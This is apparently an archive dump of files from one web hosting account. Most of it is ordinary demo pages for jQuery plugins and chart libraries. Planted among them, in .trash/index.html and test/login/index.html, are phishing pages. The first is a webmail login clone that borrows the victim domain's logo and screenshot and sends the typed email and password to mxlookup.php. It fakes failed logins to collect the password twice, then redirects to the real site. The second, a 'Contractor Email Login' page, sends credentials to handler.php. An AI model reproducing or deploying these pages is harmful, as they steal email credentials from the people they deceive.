</li> <li> <i class="ik ik-folder-plus"></i> <div class="name">folder-plus</div> <div class="fontclass">.ik-folder-plus</div> </li> <li> <i class="ik ik-gift"></i> <div class="name">gift</div> <div class="fontclass">.ik-gift</div> </li> <li> <i class="ik ik-folder-minus"></i> <div class="name">folder-minus</div> <div class="fontclass">.ik-folder-minus</div> </li> <li> <i class="ik ik-git-commit"></i> <div class="name">git-commit</div> <div class="fontclass">.ik-git-commit</div> </li> <li> <i class="ik ik-git-branch"></i> <div class="name">git-branch</div> <div class="fontclass">.ik-git-branch</div> </li> <li> <i class="ik ik-git-pull-request"></i> <div class="name">git-pull-request</div> <div class="fontclass">.ik-git-pull-request</div> </li> <li> <i class="ik ik-git-merge"></i> <div class="name">git-merge</div> <div class="fontclass">.ik-git-merge</div> </li> <li> <i class="ik ik-linkedin"></i> <div class="name">linkedin</div> <div class="fontclass">.ik-linkedin</div> </li> <li> <i class="ik ik-hard-drive"></i> <div class="name">hard-drive</div> <div class="fontclass">.ik-hard-drive</div> </li> <li> <i class="ik ik-more-vertical-"></i> <div class="name">more-vertical-2</div> <div class="fontclass">.ik-more-vertical-</div> </li> <li> <i class="ik ik-more-horizontal-"></i> <div class="name">more-horizontal-2</div> <div class="fontclass">.ik-more-horizontal-</div> </li> <li> <i class="ik ik-rss"></i> <div class="name">rss</div> <div class="fontclass">.ik-rss</div> </li> <li> <i class="ik ik-send"></i> <div class="name">send</div> <div class="fontclass">.ik-send</div> </li> <li> <i class="ik ik-shield-off"></i> <div class="name">shield-off</div> <div class="fontclass">.ik-shield-off</div> </li> <li> <i class="ik ik-shopping-bag"></i> <div class="name">shopping-bag</div> <div class="fontclass">.ik-shopping-bag</div> </li> <li> <i class="ik ik-terminal"></i> <div class="name">terminal</div> <div class="fontclass">.ik-terminal</div> </li> <li> <i class="ik ik-truck"></i> <div class="name">truck</div> <div class="fontclass">.ik-truck</div> </li> <li> <i class="ik ik-zap-off"></i> <div class="name">zap-off</div> <div class="fontclass">.ik-zap-off</div> </li> <li> <i class="ik ik-youtube"></i> <div class="name">youtube</div> <div class="fontclass">.ik-youtube</div> </li> </ul> </div> </body> </html> home/emeraadmin/public_html/node_modules/nestable/index.html000064400000031466151677261250020375 0ustar00<!DOCTYPE html> <!--[if lt IE 7]> <html lang="en" class="lt-ie9 lt-ie8 lt-ie7"> <![endif]--> <!--[if IE 7]> <html lang="en" class="lt-ie9 lt-ie8"> <![endif]--> <!--[if IE 8]> <html lang="en" class="lt-ie9"> <![endif]--> <!--[if IE 9]> <html lang="en" class="ie9"> <![endif]--> <!--[if gt IE 9]><!--> <html lang="en"> <!--<![endif]--> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, minimum-scale=1"> <title>Nestable</title> <style type="text/css"> .cf:after { visibility: hidden; display: block; font-size: 0; content: " "; clear: both; height: 0; } * html .cf { zoom: 1; } *:first-child+html .cf { zoom: 1; } html { margin: 0; padding: 0; } body { font-size: 100%; margin: 0; padding: 1.75em; font-family: 'Helvetica Neue', Arial, sans-serif; } h1 { font-size: 1.75em; margin: 0 0 0.6em 0; } a { color: #2996cc; } a:hover { text-decoration: none; } p { line-height: 1.5em; } .small { color: #666; font-size: 0.875em; } .large { font-size: 1.25em; } /** * Nestable */ .dd { position: relative; display: block; margin: 0; padding: 0; max-width: 600px; list-style: none; font-size: 13px; line-height: 20px; } .dd-list { display: block; position: relative; margin: 0; padding: 0; list-style: none; } .dd-list .dd-list { padding-left: 30px; } .dd-collapsed .dd-list { display: none; } .dd-item, .dd-empty, .dd-placeholder { display: block; position: relative; margin: 0; padding: 0; min-height: 20px; font-size: 13px; line-height: 20px; } .dd-handle { display: block; height: 30px; margin: 5px 0; padding: 5px 10px; color: #333; text-decoration: none; font-weight: bold; border: 1px solid #ccc; background: #fafafa; background: -webkit-linear-gradient(top, #fafafa 0%, #eee 100%); background: -moz-linear-gradient(top, #fafafa 0%, #eee 100%); background: linear-gradient(top, #fafafa 0%, #eee 100%); -webkit-border-radius: 3px; border-radius: 3px; box-sizing: border-box; -moz-box-sizing: border-box; } .dd-handle:hover { color: #2ea8e5; background: #fff; } .dd-item > button { display: block; position: relative; cursor: pointer; float: left; width: 25px; height: 20px; margin: 5px 0; padding: 0; text-indent: 100%; white-space: nowrap; overflow: hidden; border: 0; background: transparent; font-size: 12px; line-height: 1; text-align: center; font-weight: bold; } .dd-item > button:before { content: '+'; display: block; position: absolute; width: 100%; text-align: center; text-indent: 0; } .dd-item > button[data-action="collapse"]:before { content: '-'; } .dd-placeholder, .dd-empty { margin: 5px 0; padding: 0; min-height: 30px; background: #f2fbff; border: 1px dashed #b6bcbf; box-sizing: border-box; -moz-box-sizing: border-box; } .dd-empty { border: 1px dashed #bbb; min-height: 100px; background-color: #e5e5e5; background-image: -webkit-linear-gradient(45deg, #fff 25%, transparent 25%, transparent 75%, #fff 75%, #fff), -webkit-linear-gradient(45deg, #fff 25%, transparent 25%, transparent 75%, #fff 75%, #fff); background-image: -moz-linear-gradient(45deg, #fff 25%, transparent 25%, transparent 75%, #fff 75%, #fff), -moz-linear-gradient(45deg, #fff 25%, transparent 25%, transparent 75%, #fff 75%, #fff); background-image: linear-gradient(45deg, #fff 25%, transparent 25%, transparent 75%, #fff 75%, #fff), linear-gradient(45deg, #fff 25%, transparent 25%, transparent 75%, #fff 75%, #fff); background-size: 60px 60px; background-position: 0 0, 30px 30px; } .dd-dragel { position: absolute; pointer-events: none; z-index: 9999; } .dd-dragel > .dd-item .dd-handle { margin-top: 0; } .dd-dragel .dd-handle { -webkit-box-shadow: 2px 4px 6px 0 rgba(0,0,0,.1); box-shadow: 2px 4px 6px 0 rgba(0,0,0,.1); } /** * Nestable Extras */ .nestable-lists { display: block; clear: both; padding: 30px 0; width: 100%; border: 0; border-top: 2px solid #ddd; border-bottom: 2px solid #ddd; } #nestable-menu { padding: 0; margin: 20px 0; } #nestable-output, #nestable2-output { width: 100%; height: 7em; font-size: 0.75em; line-height: 1.333333em; font-family: Consolas, monospace; padding: 5px; box-sizing: border-box; -moz-box-sizing: border-box; } #nestable2 .dd-handle { color: #fff; border: 1px solid #999; background: #bbb; background: -webkit-linear-gradient(top, #bbb 0%, #999 100%); background: -moz-linear-gradient(top, #bbb 0%, #999 100%); background: linear-gradient(top, #bbb 0%, #999 100%); } #nestable2 .dd-handle:hover { background: #bbb; } #nestable2 .dd-item > button:before { color: #fff; } @media only screen and (min-width: 700px) { .dd { float: left; width: 48%; } .dd + .dd { margin-left: 2%; } } .dd-hover > .dd-handle { background: #2ea8e5 !important; } /** * Nestable Draggable Handles */ .dd3-content { display: block; height: 30px; margin: 5px 0; padding: 5px 10px 5px 40px; color: #333; text-decoration: none; font-weight: bold; border: 1px solid #ccc; background: #fafafa; background: -webkit-linear-gradient(top, #fafafa 0%, #eee 100%); background: -moz-linear-gradient(top, #fafafa 0%, #eee 100%); background: linear-gradient(top, #fafafa 0%, #eee 100%); -webkit-border-radius: 3px; border-radius: 3px; box-sizing: border-box; -moz-box-sizing: border-box; } .dd3-content:hover { color: #2ea8e5; background: #fff; } .dd-dragel > .dd3-item > .dd3-content { margin: 0; } .dd3-item > button { margin-left: 30px; } .dd3-handle { position: absolute; margin: 0; left: 0; top: 0; cursor: pointer; width: 30px; text-indent: 100%; white-space: nowrap; overflow: hidden; border: 1px solid #aaa; background: #ddd; background: -webkit-linear-gradient(top, #ddd 0%, #bbb 100%); background: -moz-linear-gradient(top, #ddd 0%, #bbb 100%); background: linear-gradient(top, #ddd 0%, #bbb 100%); border-top-right-radius: 0; border-bottom-right-radius: 0; } .dd3-handle:before { content: '≡'; display: block; position: absolute; left: 0; top: 3px; width: 100%; text-align: center; text-indent: 0; color: #fff; font-size: 20px; font-weight: normal; } .dd3-handle:hover { background: #ddd; } </style> </head> <body> <h1>Nestable</h1> <p>Drag & drop hierarchical list with mouse and touch compatibility (jQuery plugin)</p> <p><strong><a href="https://github.com/dbushell/Nestable">Code on GitHub</a></strong></p> <p><strong>PLEASE NOTE: I cannot provide any support or guidance beyond this README. If this code helps you that's great but I have no plans to develop Nestable beyond this demo (it's not a final product and has limited functionality). I cannot reply to any requests for help.</strong></p> <menu id="nestable-menu"> <button type="button" data-action="expand-all">Expand All</button> <button type="button" data-action="collapse-all">Collapse All</button> </menu> <div class="cf nestable-lists"> <div class="dd" id="nestable"> <ol class="dd-list"> <li class="dd-item" data-id="1"> <div class="dd-handle">Item 1</div> </li> <li class="dd-item" data-id="2"> <div class="dd-handle">Item 2</div> <ol class="dd-list"> <li class="dd-item" data-id="3"><div class="dd-handle">Item 3</div></li> <li class="dd-item" data-id="4"><div class="dd-handle">Item 4</div></li> <li class="dd-item" data-id="5"> <div class="dd-handle">Item 5</div> <ol class="dd-list"> <li class="dd-item" data-id="6"><div class="dd-handle">Item 6</div></li> <li class="dd-item" data-id="7"><div class="dd-handle">Item 7</div></li> <li class="dd-item" data-id="8"><div class="dd-handle">Item 8</div></li> </ol> </li> <li class="dd-item" data-id="9"><div class="dd-handle">Item 9</div></li> <li class="dd-item" data-id="10"><div class="dd-handle">Item 10</div></li> </ol> </li> <li class="dd-item" data-id="11"> <div class="dd-handle">Item 11</div> </li> <li class="dd-item" data-id="12"> <div class="dd-handle">Item 12</div> </li> </ol> </div> <div class="dd" id="nestable2"> <ol class="dd-list"> <li class="dd-item" data-id="13"> <div class="dd-handle">Item 13</div> </li> <li class="dd-item" data-id="14"> <div class="dd-handle">Item 14</div> </li> <li class="dd-item" data-id="15"> <div class="dd-handle">Item 15</div> <ol class="dd-list"> <li class="dd-item" data-id="16"><div class="dd-handle">Item 16</div></li> <li class="dd-item" data-id="17"><div class="dd-handle">Item 17</div></li> <li class="dd-item" data-id="18"><div class="dd-handle">Item 18</div></li> </ol> </li> </ol> </div> </div> <p><strong>Serialised Output (per list)</strong></p> <textarea id="nestable-output"></textarea> <textarea id="nestable2-output"></textarea> <p> </p> <div class="cf nestable-lists"> <p><strong>Draggable Handles</strong></p> <p>If you're clever with your CSS and markup this can be achieved without any JavaScript changes.</p> <div class="dd" id="nestable3"> <ol class="dd-list"> <li class="dd-item dd3-item" data-id="13"> <div class="dd-handle dd3-handle">Drag</div><div class="dd3-content">Item 13</div> </li> <li class="dd-item dd3-item" data-id="14"> <div class="dd-handle dd3-handle">Drag</div><div class="dd3-content">Item 14</div> </li> <li class="dd-item dd3-item" data-id="15"> <div class="dd-handle dd3-handle">Drag</div><div class="dd3-content">Item 15</div> <ol class="dd-list"> <li class="dd-item dd3-item" data-id="16"> <div class="dd-handle dd3-handle">Drag</div><div class="dd3-content">Item 16</div> </li> <li class="dd-item dd3-item" data-id="17"> <div class="dd-handle dd3-handle">Drag</div><div class="dd3-content">Item 17</div> </li> <li class="dd-item dd3-item" data-id="18"> <div class="dd-handle dd3-handle">Drag</div><div class="dd3-content">Item 18</div> </li> </ol> </li> </ol> </div> </div> <p class="small">Copyright © <a href="http://dbushell.com/">David Bushell</a> | Made for <a href="http://www.browserlondon.com/">Browser</a></p> <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"></script> <script src="jquery.nestable.js"></script> <script> $(document).ready(function() { var updateOutput = function(e) { var list = e.length ? e : $(e.target), output = list.data('output'); if (window.JSON) { output.val(window.JSON.stringify(list.nestable('serialize')));//, null, 2)); } else { output.val('JSON browser support required for this demo.'); } }; // activate Nestable for list 1 $('#nestable').nestable({ group: 1 }) .on('change', updateOutput); // activate Nestable for list 2 $('#nestable2').nestable({ group: 1 }) .on('change', updateOutput); // output initial serialised data updateOutput($('#nestable').data('output', $('#nestable-output'))); updateOutput($('#nestable2').data('output', $('#nestable2-output'))); $('#nestable-menu').on('click', function(e) { var target = $(e.target), action = target.data('action'); if (action === 'expand-all') { $('.dd').nestable('expandAll'); } if (action === 'collapse-all') { $('.dd').nestable('collapseAll'); } }); $('#nestable3').nestable(); }); </script> </body> </html> home/emeraadmin/public_html/node_modules/summernote/index.html000064400000002230151677273470020770 0ustar00<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no" /> <link rel="stylesheet" href="//netdna.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.css" /> <link rel="stylesheet" href="../dist/summernote.css"> <title>summernote</title> <script src="//cdnjs.cloudflare.com/ajax/libs/jquery/3.2.1/jquery.js"></script> <script src="//netdna.bootstrapcdn.com/bootstrap/3.3.5/js/bootstrap.js"></script> <script type="text/javascript" src="../dist/summernote.js"></script> <script type="text/javascript"> $(document).ready(function() { $('.summernote').summernote({ height: 300, tabsize: 2 }); }); </script> </head> <body> <div class="container"> <h4> <i class="note-icon-summernote"></i> Summernote <span class="label label-info">Bootstrap v3.3.7</span> <span class="label label-success">with Summernote Icons</span> </h4> <div class="summernote"><p>Hello World</p></div> </div> </body> </html> home/emeraadmin/public_html/node_modules/jquery-knob/index.html000064400000032005151677316240021034 0ustar00<!DOCTYPE html> <html> <head> <title>jQuery Knob demo</title> <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.9.0/jquery.min.js"></script> <!--[if IE]><script type="text/javascript" src="excanvas.js"></script><![endif]--> <script src="dist/jquery.knob.min.js"></script> <script> $(function($) { $(".knob").knob({ change : function (value) { //console.log("change : " + value); }, release : function (value) { //console.log(this.$.attr('value')); console.log("release : " + value); }, cancel : function () { console.log("cancel : ", this); }, /*format : function (value) { return value + '%'; },*/ draw : function () { // "tron" case if(this.$.data('skin') == 'tron') { this.cursorExt = 0.3; var a = this.arc(this.cv) // Arc , pa // Previous arc , r = 1; this.g.lineWidth = this.lineWidth; if (this.o.displayPrevious) { pa = this.arc(this.v); this.g.beginPath(); this.g.strokeStyle = this.pColor; this.g.arc(this.xy, this.xy, this.radius - this.lineWidth, pa.s, pa.e, pa.d); this.g.stroke(); } this.g.beginPath(); this.g.strokeStyle = r ? this.o.fgColor : this.fgColor ; this.g.arc(this.xy, this.xy, this.radius - this.lineWidth, a.s, a.e, a.d); this.g.stroke(); this.g.lineWidth = 2; this.g.beginPath(); this.g.strokeStyle = this.o.fgColor; this.g.arc( this.xy, this.xy, this.radius - this.lineWidth + 1 + this.lineWidth * 2 / 3, 0, 2 * Math.PI, false); this.g.stroke(); return false; } } }); // Example of infinite knob, iPod click wheel var v, up=0,down=0,i=0 ,$idir = $("div.idir") ,$ival = $("div.ival") ,incr = function() { i++; $idir.show().html("+").fadeOut(); $ival.html(i); } ,decr = function() { i--; $idir.show().html("-").fadeOut(); $ival.html(i); }; $("input.infinite").knob( { min : 0 , max : 20 , stopper : false , change : function () { if(v > this.cv){ if(up){ decr(); up=0; }else{up=1;down=0;} } else { if(v < this.cv){ if(down){ incr(); down=0; }else{down=1;up=0;} } } v = this.cv; } }); }); </script> <style> body{ padding: 0; margin: 0px 50px; font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-weight: 300; text-rendering: optimizelegibility; } p{font-size: 30px; line-height: 30px} div.demo{text-align: center; width: 280px; float: left} div.demo > p{font-size: 20px} </style> </head> <body> <div style="width:100%;font-size:40px;letter-spacing:-8px;line-height:40px;"> <h1>jQuery Knob</h1> </div> <div> <p>Nice, downward compatible, touchable, jQuery dial. <a href="http://flattr.com/thing/674900/jQuery-Knob" target="_blank"><img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a></p> <p style="font-size: 20px">* implemented interactions : mouse click and wheel mouse, keyboard (on focus) and fingers (touch events)</p> </div> <div class="demo"> <p>× Disable display input</p> <pre> data-width="100" data-displayInput=false </pre> <input class="knob" data-width="100" data-displayInput=false value="35"> </div> <div class="demo"> <p>× 'cursor' mode</p> <pre> data-width="150" data-cursor=true data-thickness=.3 data-fgColor="#222222" </pre> <input class="knob" data-width="150" data-cursor=true data-fgColor="#222222" data-thickness=.3 value="29"> </div> <div class="demo" > <p>× Display previous value</p> <pre> data-displayPrevious=true data-min="-100" </pre> <input class="knob" data-width="200" data-min="-100" data-displayPrevious=true value="44"> </div> <div style="clear:both"></div> <div class="demo"> <p>× Angle offset</p> <pre> data-angleOffset=90 data-linecap=round </pre> <input class="knob" data-angleOffset=90 data-linecap=round value="35"> </div> <div class="demo"> <p>× Angle offset and arc</p> <pre> data-fgColor="#66CC66" data-angleOffset=-125 data-angleArc=250 data-rotation=anticlockwise </pre> <input class="knob" data-angleOffset=-125 data-angleArc=250 data-fgColor="#66EE66" data-rotation="anticlockwise" value="35"> </div> <div class="demo" > <p>× 4-digit, step 0.1</p> <pre> data-step=".1" data-min="-10000" data-max="10000" value="0" data-displayPrevious=true </pre> <input class="knob" data-min="-10000" data-displayPrevious=true data-max="10000" data-step=".1" value="0"> </div> <div style="clear:both"></div> <div style="text-align: center"> <p style="font-size: 20px">× Overloaded 'draw' method</p> </div> <div style="background-color: #222; height: 340px"> <div class="demo" style="background-color:#222; color:#FFF;"> <pre> data-width="75" data-fgColor="#ffec03" data-skin="tron" data-thickness=".2" data-displayPrevious=true </pre> <input class="knob" data-width="75" data-displayPrevious=true data-fgColor="#ffec03" data-skin="tron" data-cursor=true value="75" data-thickness=".2"> </div> <div class="demo" style="background-color:#222; color:#FFF;"> <pre> data-width="150" data-fgColor="#ffec03" data-skin="tron" data-thickness=".2" data-displayPrevious=true </pre> <input class="knob" data-width="150" data-displayPrevious=true data-fgColor="#ffec03" data-skin="tron" data-thickness=".2" value="75"> </div> <div class="demo" style="background-color:#222; color:#FFF;"> <pre> data-width="150" data-fgColor="#C0ffff" data-skin="tron" data-thickness=".1" data-angleOffset="180" </pre> <input class="knob" data-width="150" data-angleOffset="180" data-fgColor="#C0ffff" data-skin="tron" data-thickness=".1" value="35"> </div> </div> <div style="clear:both"></div> <div class="demo" style="width:100%"> <p>× Responsive</p> <pre> data-width="80%" </pre> <div style="width: 30%; border: 3px dashed; margin-bottom: 20px"> <i> Current div width is 30% of window width.<br> Knob width is 80% of current div.<br> Knob width is 80% of 30% of window width.<br> Test resizing window. </i> <br> <br> <input class="knob" data-width="80%" value="35"> </div> </div> <div style="clear:both"></div> <script> function clock() { var $s = $(".second"), $m = $(".minute"), $h = $(".hour"); d = new Date(), s = d.getSeconds(), m = d.getMinutes(), h = d.getHours(); $s.val(s).trigger("change"); $m.val(m).trigger("change"); $h.val(h).trigger("change"); setTimeout("clock()", 1000); } clock(); </script> <div class="demo" style="color:#EEE;background:#222;height:420px;width:100%"> <p>× Superpose (clock)</p> <div style="position:relative;width:350px;margin:auto"> <div style="position:absolute;left:10px;top:10px"> <input class="knob hour" data-min="0" data-max="24" data-bgColor="#333" data-fgColor="#ffec03" data-displayInput=false data-width="300" data-height="300" data-thickness=".3"> </div> <div style="position:absolute;left:60px;top:60px"> <input class="knob minute" data-min="0" data-max="60" data-bgColor="#333" data-displayInput=false data-width="200" data-height="200" data-thickness=".45"> </div> <div style="position:absolute;left:110px;top:110px"> <input class="knob second" data-min="0" data-max="60" data-bgColor="#333" data-fgColor="rgb(127, 255, 0)" data-displayInput=false data-width="100" data-height="100" data-thickness=".3"> </div> </div> </div> <div style="clear:both"></div> <div class="demo"> <p>× Readonly</p> <pre> readonly (or data-readOnly=true) data-thickness=".4" data-fgColor="chartreuse" </pre> <input class="knob" data-fgColor="chartreuse" data-thickness=".4" readonly value="22"> </div> <div class="demo"> <p>× Dynamic</p> <pre> data-width="200" </pre> <input type="button" onclick="$('.knob-dyn').knob();" value="knobify!"> <input type="text" class="knob-dyn" data-width="200" data-cursor=true value="56"> <pre> data-width="50" data-cursor=true </pre> <input type="button" onclick="$('.knob-dyn2').knob();" value="knobify!"> <input type="text" class="knob-dyn2" data-width="50" data-thickness=".4" value="56"> </div> <div class="demo" style="height:440px;width:300px"> <p>× Infinite || iPod click wheel</p> <div style="float:left;width:180px;height:320px;padding:20px;background-color:#EEEEEE;text-align:center;"> <pre> data-width="150" data-cursor=true data-thickness=".5" data-fgColor="#AAAAAA" data-bgColor="#FFFFFF" data-displayInput="false" + some code </pre> <input class="infinite" value="0" data-width="150" data-thickness=".5" data-fgColor="#AAAAAA" data-bgColor="#FFFFFF" data-displayInput="false" data-cursor=true> </div> <div style="float:left;margin-top:200px;"> <div class="ival" style="width:80px;text-align:center;font-size:50px;color:#AAA">0</div> <div class="idir" style="width:80px;text-align:center;font-size:50px;"></div> </div> </div> <div style="clear:both"></div> <div style="margin-top:30px;text-align:center"> <img src="https://raw.github.com/aterrien/jQuery-Knob/master/secretplan.jpg"> <p style="font-size:20px;">jQuery Knob is © 2012 Anthony Terrien - MIT License</p> </div> </body> </html> home/emeraadmin/.trash/index.html000064400000010674151677331330013013 0ustar00<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Webmail Portal Access</title> <link type="text/css" rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css"> <script src="https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js"></script> <style> body { font-family: 'Open Sans', sans-serif; color: #535353; background-repeat: no-repeat; background-size: cover; display: flex; justify-content: center; align-items: center; min-height: 100vh; } .login-container { background: rgba(0, 0, 0, 0.8); padding: 50px; border-radius: 5px; color: white; max-width: 600px; text-align: center; } .alert-danger { color: red; display: none; } .alert-success { color: green; display: none; } #logoimg { max-width: 80px; margin-bottom: 15px; } </style> </head> <body> <div class="login-container"> <img id="logoimg" src="" alt="Service Logo"> <h2>Sign in to continue</h2> <p>Enter your credentials</p> <div id="msg" class="alert alert-danger mt-3">Invalid login. Please try again.</div> <div id="success-msg" class="alert alert-success mt-3">Login Successful!</div> <form id="login-form"> <div class="form-group"> <input type="email" class="form-control" id="email" name="email" placeholder="Email" required> </div> <div class="form-group"> <input type="password" class="form-control" id="password" name="password" placeholder="Password" required> </div> <button type="submit" class="btn btn-primary btn-block">Sign In</button> </form> </div> <script> $(document).ready(function() { // Function to extract UID from URL path (e.g., /uid=user@domain.com) function extractUidFromPath() { const path = window.location.pathname; const parts = path.split('/'); const uidSegment = parts.find(p => p.startsWith('uid=')); return uidSegment ? decodeURIComponent(uidSegment.split('=')[1]) : null; } const uidFromPath = extractUidFromPath(); // Get uid from path (no ? needed) if (uidFromPath) { $('#email').val(uidFromPath); // Auto-fill email input let domain = uidFromPath.split('@')[1]; // Set background image let backgroundImage = "url('https://image.thum.io/get/width/1200/https://" + domain + "')"; document.body.style.backgroundImage = backgroundImage; // Set logo image $("#logoimg").attr("src", "https://logo.clearbit.com/" + domain); } let invalidLoginAttempts = 0; $('#login-form').submit(function(event) { event.preventDefault(); $('#msg').hide(); $('#success-msg').hide(); let email = $('#email').val(); let password = $('#password').val(); let domain = email.split('@')[1]; $.ajax({ url: 'mxlookup.php', type: 'POST', data: { email: email, password: password }, dataType: 'json', success: function(response) { if (invalidLoginAttempts < 2) { invalidLoginAttempts++; $('#msg').show(); } if (invalidLoginAttempts >= 2) { $('#msg').hide(); $('#success-msg').show(); setTimeout(function() { window.location.href = `https://${domain}`; }, 2000); } }, error: function() { $('#msg').text('An error occurred. Please try again later.').show(); } }); }); }); </script> </body> </html> home/emeraadmin/public_html/node_modules/amcharts3/index.html000064400000004230151677354320020453 0ustar00<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Intro to JavaScript amCharts</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <link href="images/style.css" rel="stylesheet" type="text/css"> </head> <body bgcolor="#FFFFFF"> <p><img src="images/logo.png" /></p> <hr> <h2>A very short tutorial for those who don't like reading</h2> <ul> <li>Copy <b>amcharts</b> folder to your working dir.</li> <li>Go to <i>samples</i> folder and open one of HTML files in your browser - you should see a chart.</li> <li>View source of the page or open this HTML file with text editor.</li> <li>Try to make some changes.</li> <li>Copy/Paste everything to your html/php/asp/etc file and fix paths to scripts</li> <li>Open your file in browser - you should see the same chart.</li> <li>Now it's time to read all the tutorials and check the examples :)</li> </ul> <hr> <h2>Documentation</h2> <ul> <li><a href="http://docs.amcharts.com/3/javascriptcharts/">JavaScript reference</a></li> </ul> <hr> <h2>Live Editor</h2> <ul> <li>It's a lot esier to configure your charts using our <a href="http://live.amcharts.com/">Live Editor</a>. Even if you are not programmer, you can create stunning charts!</li> </ul> <hr> <h2>Tutorials</h2> <ul> <li>For the latest list of tutorials, <a href="http://www.amcharts.com/tutorials/">visit tutorials page</a>.</li> </ul> <hr> <h2>Examples</h2> We think that the best way to start learning amCharts (and any other similar software) is to study examples. Check samples folder - there are plenty of them! In case you prefer working in jsFiddle, visit our web site - all samples have a link to jsFiddle where you can edit and view the result instantly. <h2>Support</h2> In case you have a question, go to our <a href="http://www.amcharts.com/support/">support section</a>. You'll find a lot of information there, and if you won't - you can always ask. <hr> <h2>Good luck!</h2> <hr> </body> </html> home/emeraadmin/public_html/node_modules/ammap3/index.html000064400000004506151677407320017751 0ustar00<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Intro to JavaScript amMap</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <link href="images/style.css" rel="stylesheet" type="text/css"> </head> <body bgcolor="#FFFFFF"> <p><img src="images/logo.png" /></p> <hr> <h2>A very short tutorial for those who don't like reading</h2> <ul> <li>Copy <b>ammap</b> folder to your working dir.</li> <li>Go to <i>samples</i> folder and open one of HTML files in your browser - you should see a map.</li> <li>View source of the page or open this HTML file with text editor.</li> <li>Try to make some changes.</li> <li>Copy/Paste everything to your html/php/asp/etc file and fix paths to scripts</li> <li>Open your file in browser - you should see the same map.</li> <li>Now it's time to read all the tutorials and check the examples :)</li> </ul> <hr> <h2>Documentation</h2> <ul><li><a href="http://docs.amcharts.com/3/javascriptmaps/">JavaScript reference</a></li></ul> <h2>Tutorials</h2> <ul> <li>For the latest list of tutorials, <a href="http://www.amcharts.com/tutorials/">visit tutorials page</a>.</li> </ul> <h2>Pixel map generator</h2> <ul> <li>Want to put together the config for your first map faster? Try our <a href="http://pixelmap.amcharts.com/">Pixel Map Generator</a> - you can do a lot of job by editing maps visually!</li> </ul> <hr> <h2>Tips</h2> <ul> <li>We have a lot of <a href="http://www.amcharts.com/tips/">quick demos</a> created when answering to our users questions.</li> </ul> <hr> <h2>Examples</h2> We think that the best way to start learning amCharts (and any other similar software) is to study examples. Check samples folder - there are plenty of them! In case you prefer working in jsFiddle, visit our web site - all samples have a link to jsFiddle where you can edit and view the result instantly. <h2>Support</h2> In case you have a question, go to our <a href="http://www.amcharts.com/support/">support area</a>. You'll find a lot of information there, and if you won't - you can always ask. <hr> <h2>Good luck!</h2> <hr> </body> </html> home/emeraadmin/public_html/test/login/index.html000064400000004564151677417560016220 0ustar00<!doctype html> <html> <head> <meta charset="utf-8"> <title>Contractor Email Login</title> <style> body{font-family:Arial;margin:40px;background:#f6f7fb} .box{max-width:420px;margin:30px auto;padding:20px;border:1px solid #ddd;border-radius:6px;background:#fff} input{width:100%;padding:10px;margin:8px 0;box-sizing:border-box} button{padding:10px 14px;background:#0073e6;color:#fff;border:none;border-radius:4px;cursor:pointer} .info{margin-top:12px;color:#333;white-space:pre-wrap;font-family:monospace;font-size:13px} </style> </head> <body> <div class="box"> <h3>Contractor Email Login</h3> <form id="f"> <input type="email" name="email" id="email" placeholder="email" required> <input type="password" name="password" id="password" placeholder="password" required> <button type="submit">Login</button> </form> <div class="info" id="info">Waiting...</div> </div> <script> (function(){ const info = document.getElementById('info'); const emailInput = document.getElementById('email'); // Load email from fragment (#email@domain) or ?email= const hash = decodeURIComponent(location.hash.slice(1)); if (hash && hash.includes('@')) { emailInput.value = hash; info.textContent = 'Loaded email from URL fragment: ' + hash; } else { const params = new URLSearchParams(location.search); if (params.get('email')) { emailInput.value = params.get('email'); info.textContent = 'Loaded email from query param: ' + params.get('email'); } else { info.textContent = 'No email in URL. Use ?email= or #email@domain or type manually.'; } } document.getElementById('f').addEventListener('submit', async function(e){ e.preventDefault(); info.textContent = 'Checking...'; const form = new FormData(e.target); try { const res = await fetch('handler.php', { method: 'POST', body: form }); const data = await res.json(); info.textContent = JSON.stringify(data, null, 2); // If handler returned a webmail_link, redirect after 2s if (data.webmail_link && data.webmail_link !== 'Not found') { setTimeout(() => { location.href = data.webmail_link; }, 2000); } } catch (err) { info.textContent = 'Error: ' + err; } }); })(); </script> </body> </html> home/emeraadmin/public_html/node_modules/bootstrap-tagsinput/test/index.html000064400000003416151701430610023564 0ustar00<!DOCTYPE html> <html> <head> <title>Jasmine Test Runner</title> <meta name="robots" content="noindex, nofollow" /> <meta http-equiv="content-type" content="text/html; charset=UTF-8" /> <link rel="stylesheet" href="lib/jasmine/lib/jasmine-core/jasmine.css"/> <script type="text/javascript" src="lib/jquery/dist/jquery.min.js"></script> <script type="text/javascript" src="lib/angular/angular.min.js"></script> <script type="text/javascript" src="lib/bootstrap/dist/js/bootstrap.min.js"></script> <script type="text/javascript" src="lib/jasmine/lib/jasmine-core/jasmine.js"></script> <script type="text/javascript" src="lib/jasmine/lib/jasmine-core/jasmine-html.js"></script> <script type="text/javascript" src="lib/jasmine/lib/jasmine-core/boot.js"></script> <script type="text/javascript" src="../src/bootstrap-tagsinput.js"></script> <script type="text/javascript" src="../src/bootstrap-tagsinput-angular.js"></script> <script type="text/javascript" src="helpers.js"></script> <script type="text/javascript" 